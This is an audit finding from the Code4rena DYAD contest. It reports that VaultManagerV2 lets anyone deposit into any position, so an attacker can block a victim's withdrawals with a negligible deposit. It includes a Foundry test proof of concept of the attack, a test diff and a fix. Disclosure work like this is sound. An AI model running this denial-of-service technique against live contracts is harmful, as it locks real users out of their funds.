DYAD - niser93's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

In VaultManagerV2.withdraw() there is a check:

VaultManagerV2.sol#L143

143   if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();

idToBlockOfLastDeposit is a mapping used to check if there was a deposit in the same block. In this way, it is not possible to deposit and to withdraw from an id position within the same block.number.

The issue is that everyone can perform the VaultManagerV2.deposit() to any id position. An attacker could deposit a negligible amount of tokens to the victim blocking the victim's withdraw() method for the current block.number. Furthermore, the attacker could frontrun the victim's withdraw() call depositing on the victim's position. In this way, the attacker can DoS the victim's withdraw() action indefinitely using a negligible amount of tokens.

Proof of concept

idToBlockOfLastDeposit is modified only by VaultManagerV2.deposit():

VaultManagerV2.sol#L133-L153

118  /// @inheritdoc IVaultManager
119  function deposit(
120   uint  id,
121   address vault,
122   uint  amount
123  ) 
124   external 
125    isValidDNft(id)
126  {
127   idToBlockOfLastDeposit[id] = block.number;
128   Vault _vault = Vault(vault);
129   _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
130   _vault.deposit(id, amount);
131  }

VaultManagerV2.deposit() can be called to deposit an amount of token to a specific vault address and id position. However, there is no check that the owner of the id position should be msg.sender. So, it is possible to call VaultManagerV2.deposit() and deposit an amount in the position of someone else.

As we said above, in VaultManagerV2.withdraw() there is a check:

VaultManagerV2.sol#L143

143   if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();

So, if someone else has deposited an amount in my position in this block.number, I can not call the VaultManagerV2.withdraw() method.

We want to report a coded PoC. Alice and Bob have opened their positions: alicePosition and bobPosition, respectively. Alice deposits 1e10 WETHs in the wethVault. Then, she tries to withdraw them without success, because it is not possible to deposit and withdraw in the same block.number

So, she waits for the next block.number. When it arrives, she tries again to withdraw her WETHs. However, Bob frontruns this action, depositing 0.00000000000000001 (a negligible amount) on Alice's position. In this way, Alice's withdrawal attempt reverts.

function testDos() public {
  address alice = vm.addr(10);
  address bob = vm.addr(11);

  vm.deal(alice, 10 ether);
  vm.deal(bob, 10 ether);

  // Alice initialization
  vm.startPrank(alice);
  uint alicePosition = dNft.mintNft{value: 1 ether}(alice);
  weth.mint(alice, 1e18);
  weth.approve(address(vaultManager), 1e10);
  vm.stopPrank();

  // Bob initialization
  vm.startPrank(bob);
  weth.mint(bob, 1e18);
  weth.approve(address(vaultManager), 1e10);
  //vaultManager.deposit(alicePosition, address(wethVault), 1);
  vm.stopPrank();

  //////////////////////////////
  // Alice's examples of actions
  //////////////////////////////
  vm.startPrank(alice);

  vaultManager.deposit(alicePosition, address(wethVault), 1e10);

  // When Alice tries to withdraw, she fails because she has deposited in the same block.number
  vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); // revert because DepositedInSameBlock()
  vaultManager.withdraw(alicePosition, address(wethVault), 1, alice);

  vm.roll(block.number + 1);

  // In the new block, Alice succeeds to withdraw
  vaultManager.withdraw(alicePosition, address(wethVault), 1, alice);
  vm.stopPrank();

  //////////////////////////////
  // Bob attack
  //////////////////////////////
  // For example, Bob could deposit 1 on Alice's position at the very beginning of each block
  // or use front-running to perform this action before Alice tries to withdraw
  vm.startPrank(bob);
  vaultManager.deposit(alicePosition, address(wethVault), 1);
  vm.stopPrank();

  vm.startPrank(alice);
  vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); // revert because DepositedInSameBlock()
  vaultManager.withdraw(alicePosition, address(wethVault), 1, alice);
  vm.stopPrank();
 }

Because tests don't cover VaultManagerV2 (but only VaultManager), we have modified the VaultManager.sol file to avoid recoding DeployBase.s.sol script:

@@ -37,6 +37,8 @@ contract VaultManager is IVaultManager {
   if (!vaultLicenser.isLicensed(vault)) revert NotLicensed(); _;
  }

+ mapping (uint => uint) public idToBlockOfLastDeposit;
+
  constructor(
   DNft  _dNft,
   Dyad  _dyad,
@@ -78,24 +80,34 @@ contract VaultManager is IVaultManager {
   uint  amount
  )
   external
    isValidDNft(id)
  {
+  idToBlockOfLastDeposit[id] = block.number;
   Vault _vault = Vault(vault);
   _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
   _vault.deposit(id, amount);
  }

  /// @inheritdoc IVaultManager
  function withdraw(
   uint  id,
   address vault,
   uint  amount,
   address to
  )
   public
    isDNftOwner(id)
  {
+  if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
+  uint dyadMinted = dyad.mintedDyad(address(this), id);
+  Vault _vault = Vault(vault);
+  uint value = amount * _vault.assetPrice()
+         * 1e18
+         / 10**_vault.oracle().decimals()
+         / 10**_vault.asset().decimals();
+  //if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
-  Vault(vault).withdraw(id, to, amount);
+  _vault.withdraw(id, to, amount);
   if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
  }

  function mintDyad(

We want to underline that this attack can even be performed without frontrunning. Because it needs a negligible amount, Bob could decide to make DoS of Alice's withdrawal action whenever he wants during the remaining duration of block.

Tools Used

Visual ispection

Recommended Mitigation Steps

We suggest avoiding to deposit in positions where msg.sender != owner.

Assessed type

DoS